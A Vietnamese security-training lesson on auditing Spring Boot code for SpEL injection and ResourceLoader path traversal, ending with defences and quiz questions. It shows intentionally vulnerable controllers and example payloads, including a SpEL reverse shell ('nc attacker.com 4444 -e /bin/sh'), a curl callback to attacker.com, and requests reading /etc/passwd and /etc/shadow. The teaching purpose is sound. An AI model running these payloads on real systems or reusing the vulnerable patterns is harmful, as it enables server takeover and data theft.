White-Box Auditing & Săn Bug Thực Chiến
~14 phútTaint Analysis & Static Code AuditingMiễn phí

White-Box Audit Java & Spring Boot: SpEL và Resource Traversal

Giải phẫu các mẫu code nguy hiểm đặc thù trong hệ sinh thái Java/Spring: Đánh giá biểu thức SpEL, nạp tài nguyên tĩnh Spring Resource và lỗ hổng Deserialization.

TL;DR: Spring Boot là framework backend phổ biến hàng đầu trong các hệ thống tài chính và doanh nghiệp. Khi audit mã nguồn Java, kiểm thử viên cần tập trung vào các điểm mù phổ biến: Spring Expression Language (SpEL) vô tình biên dịch chuỗi người dùng qua ExpressionParser.parseExpression(), các hàm nạp tài nguyên tĩnh ResourceLoader.getResource() bị khai thác Path Traversal để đọc file cấu hình application.yml, và các điểm kết thúc tiếp nhận đối tượng serialize không an toàn dẫn tới RCE.

1. Scenario — Tính năng tạo thông báo động biến thành RCE

Một nền tảng quản lý quan hệ khách hàng (CRM) xây dựng trên Spring Boot 3 cho phép nhân viên tùy biến tiêu đề thông báo gửi cho khách hàng. Lập trình viên muốn hỗ trợ tính năng tính toán ngày tháng và ghép tên người dùng động nên đã sử dụng Spring Expression Language (SpEL):

Java
// Vulnerable Controller in Spring Boot
@RestController
@RequestMapping("/api/v1/templates")
public class TemplateController {

    private final ExpressionParser parser = new SpelExpressionParser();

    @PostMapping("/preview")
    public Map<String, Object> previewTemplate(@RequestBody TemplateRequest request) {
        // Developer uses default StandardEvaluationContext
        EvaluationContext context = new StandardEvaluationContext(request.getUserData());
        
        // Expression parsed directly from user input
        Expression exp = parser.parseExpression(request.getTemplate());
        String result = exp.getValue(context, String.class);
        
        return Map.of("preview", result);
    }
}

Kiểm tra mã nguồn, kiểm thử viên nhận thấy biến request.getTemplate() là một Tainted Source đi thẳng vào hàm parser.parseExpression() (một Critical Sink). Vì lập trình viên sử dụng StandardEvaluationContext, kẻ tấn công chỉ cần gửi payload JSON sau:

JSON
{
  "template": "T(java.lang.Runtime).getRuntime().exec('curl http://attacker.com/pwned')",
  "userData": {}
}

Máy chủ Spring Boot lập tức thực thi lệnh curl gửi tín hiệu về máy chủ của kẻ tấn công. Quyền kiểm soát toàn bộ máy chủ ứng dụng đã bị chiếm đoạt thông qua đúng một dòng lệnh đánh giá biểu thức.

2. Analogy — Người phát thanh viên và chiếc micro truyền lệnh khẩn cấp

Hãy so sánh hai ngữ cảnh truyền đạt thông tin:

  • Người phát thanh viên thông thường (Simple Context): Đọc tờ giấy thông báo thời tiết hoặc kết quả xổ số do lễ tân chuyển vào. Tờ giấy chỉ chứa thông tin tĩnh và các con số để đọc to cho thính giả nghe.
  • Micro kết nối hệ thống chỉ huy tác chiến (Standard Context): Chiếc micro này được gắn một mạch kích hoạt đặc biệt. Nếu người đọc phát âm câu thần chú T(Command).launch(), hệ thống sẽ kích hoạt lệnh phóng tên lửa của căn cứ quân sự.

Trong Spring, SimpleEvaluationContext đóng vai trò người phát thanh viên thông thường: chỉ cho phép đọc và ghi các thuộc tính dữ liệu (Properties/Getters). Ngược lại, StandardEvaluationContext trao cho người đọc toàn quyền gọi các lớp tĩnh (java.lang.Runtime, java.lang.ProcessBuilder) của toàn bộ máy ảo JVM.

3. Vì sao SpEL Injection lại nguy hiểm hơn SSTI thông thường?

Cơ chế Biên dịch & Leo thang RCE qua Spring Expression Language (SpEL)

Ở bài học Server-Side Template Injection (SSTI), bạn đã biết rằng trong Jinja2 hay Twig, kẻ tấn công phải leo qua các chuỗi đối tượng phức tạp (__class__.__mro__[1]...) để tìm gadget thực thi lệnh.

Trong Spring Expression Language, rào cản này hoàn toàn không tồn tại nhờ toán tử loại dữ liệu T(...):

  • Cú pháp T(package.ClassName) cho phép SpEL nạp bất kỳ class nào có mặt trong classpath của ứng dụng.
  • Kẻ tấn công có thể truy cập trực tiếp các phương thức tĩnh:
    Java
    T(java.lang.Runtime).getRuntime().exec("whoami")
    
  • Hoặc sử dụng ProcessBuilder để chuyển hướng I/O:
    Java
    T(java.lang.ProcessBuilder).new({"sh", "-c", "nc attacker.com 4444 -e /bin/sh"}).start()
    

4. Điểm mù ResourceLoader và Path Traversal trong Spring

Ngoài SpEL, một bề mặt tấn công white-box phổ biến khác trong Spring là giao diện ResourceLoader. Lập trình viên thường dùng nó để nạp các file tài liệu hoặc hình ảnh:

Java
@Autowired
private ResourceLoader resourceLoader;

@GetMapping("/download")
public ResponseEntity<Resource> downloadDoc(@RequestParam("file") String fileName) {
    // Dangerous: fileName directly concatenated to resource path
    Resource resource = resourceLoader.getResource("classpath:docs/" + fileName);
    return ResponseEntity.ok().body(resource);
}

Cơ chế Prefix Switch trong Spring Resource

Spring's ResourceLoader có một đặc tính mạnh mẽ nhưng cực kỳ nguy hiểm: cơ chế nhận diện tiền tố (Prefix Dispatching):

  1. classpath:: Nạp file từ thư mục tài nguyên của ứng dụng.
  2. file:: Nạp file trực tiếp từ hệ thống tệp tin của hệ điều hành.
  3. http: / https:: Tự động phát HTTP request tải file từ mạng ngoài (SSRF).

Nếu kẻ tấn công gửi: GET /download?file=../../../../etc/passwd Hàm sẽ bypass khỏi thư mục docs/ và đọc các file nhạy cảm trong classpath hoặc thư mục build. Thậm chí nếu kẻ tấn công truyền: GET /download?file=file:/etc/shadow Spring sẽ tự động chuyển từ cơ chế ClasspathResource sang UrlResource/FileSystemResource, cho phép đọc bất kỳ tệp tin nào trên máy chủ Linux mà tiến trình Java có quyền truy cập.

Thử ngẫmNếu lập trình viên đã cấu hình Spring Security rất chặt chẽ, liệu lỗ hổng SpEL Injection ở tầng Service có bị chặn lại không?

Không. Spring Security chỉ đóng vai trò bảo vệ ở tầng FilterChain (trước khi request vào Controller). Một khi request đã được cấp phép hợp lệ, toàn bộ payload nằm trong bộ nhớ JVM và được SpEL biên dịch trực tiếp ở tầng Service/Business, hoàn toàn nằm ngoài tầm kiểm soát của Spring Security.

🐛 Tìm bug trong code này
// Spring Boot Document Validator
public boolean validateFormula(String expression, User user) {
  ExpressionParser parser = new SpelExpressionParser();
  StandardEvaluationContext ctx = new StandardEvaluationContext(user);
  // Security check: only allow expressions without semicolon
  if (!expression.contains(";")) {
      return parser.parseExpression(expression).getValue(ctx, Boolean.class);
  }
  return false;
}

5. Pitfalls & Giải pháp phòng thủ triệt để

❌ Bẫy thường gặp: Lọc từ khóa "Runtime" bằng Regex

Nhiều nhóm lập trình viên cố gắng ngăn chặn SpEL RCE bằng cách chặn chuỗi "java.lang.Runtime". Kẻ tấn công dễ dàng bypass bằng các class thay thế như java.lang.ProcessBuilder, sử dụng Reflection qua Class.forName(), hoặc tận dụng các Spring Beans có sẵn trong ApplicationContext để thực thi lệnh.

✅ Giải pháp chuẩn mực: Sử dụng SimpleEvaluationContext

Spring đã thiết kế sẵn giải pháp chuẩn mực để giải quyết triệt để SpEL Injection: SimpleEvaluationContext. Lớp này chỉ hỗ trợ cú pháp SpEL cơ bản (truy xuất getter/setter, toán tử số học) và vô hiệu hóa hoàn toàn toán tử T(...) cùng các lời gọi phương thức tùy ý:

Java
// SECURE PATTERN: Enforcing SimpleEvaluationContext for untrusted input
public String evaluateSafeSpel(String untrustedExpression, Object model) {
    ExpressionParser parser = new SpelExpressionParser();
    
    // Create read-only context: No custom methods, No Java reflection, No T() operator
    EvaluationContext context = SimpleEvaluationContext
                                    .forReadOnlyDataBinding()
                                    .withRootObject(model)
                                    .build();
                                    
    Expression exp = parser.parseExpression(untrustedExpression);
    return exp.getValue(context, String.class);
}

Nếu kẻ tấn công gửi biểu thức chứa T(java.lang.Runtime), parser sẽ ngay lập tức ném ra lỗi SpelEvaluationException: EL1005E: Type cannot be found with 'T(...)' và hủy bỏ thực thi.

6. Liên hệ các bài khác

Kiến thức audit Java/Spring là mảnh ghép then chốt kết nối giữa mã nguồn và khai thác lỗ hổng:

7. Tóm tắt

  • SpEL Injection trong Spring Boot là một trong những lỗ hổng Critical nguy hiểm nhất, dẫn thẳng tới Remote Code Execution mà không cần gadget chain phức tạp.
  • Cú pháp T(...) cho phép nạp trực tiếp các lớp hệ thống như java.lang.Runtime và java.lang.ProcessBuilder.
  • Nguyên nhân gốc rễ là việc sử dụng StandardEvaluationContext cho các biểu thức do người dùng cung cấp.
  • Giải pháp phòng vệ tuyệt đối là thay thế bằng SimpleEvaluationContext.forReadOnlyDataBinding().
  • Nạp tài nguyên tĩnh qua ResourceLoader cần chuẩn hóa đường dẫn để tránh bị chuyển đổi prefix (file:, http:).

8. Tự kiểm tra

Tự kiểm tra
0/5 câu đã trả lời
  1. Q1
    Sự khác biệt cốt lõi giữa StandardEvaluationContext và SimpleEvaluationContext trong Spring Expression Language là gì?
  2. Q2
    Trong Spring ResourceLoader, tại sao tham số có chứa prefix 'file:' hoặc 'http:' lại nguy hiểm hơn chuỗi đường dẫn thông thường?
  3. Q3
    Nếu ứng dụng Spring Boot chạy trên phiên bản Java mới nhất (Java 17/21) có module system (Project Jigsaw), SpEL Injection có còn dẫn tới RCE được không?
  4. Q4
    Ngoài parseExpression(), hàm nào khác trong Spring có thể vô tình kích hoạt đánh giá SpEL ngầm định?
  5. Q5
    Làm thế nào để phòng chống Path Traversal khi bắt buộc phải nạp file tài liệu từ tên do người dùng cung cấp?

Bài tiếp theo: White-Box Audit Go & Node.js: SQL Formatting và Prototype Pollution

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

White-Box Audit Go & Node.js: SQL Formatting và Prototype Pollution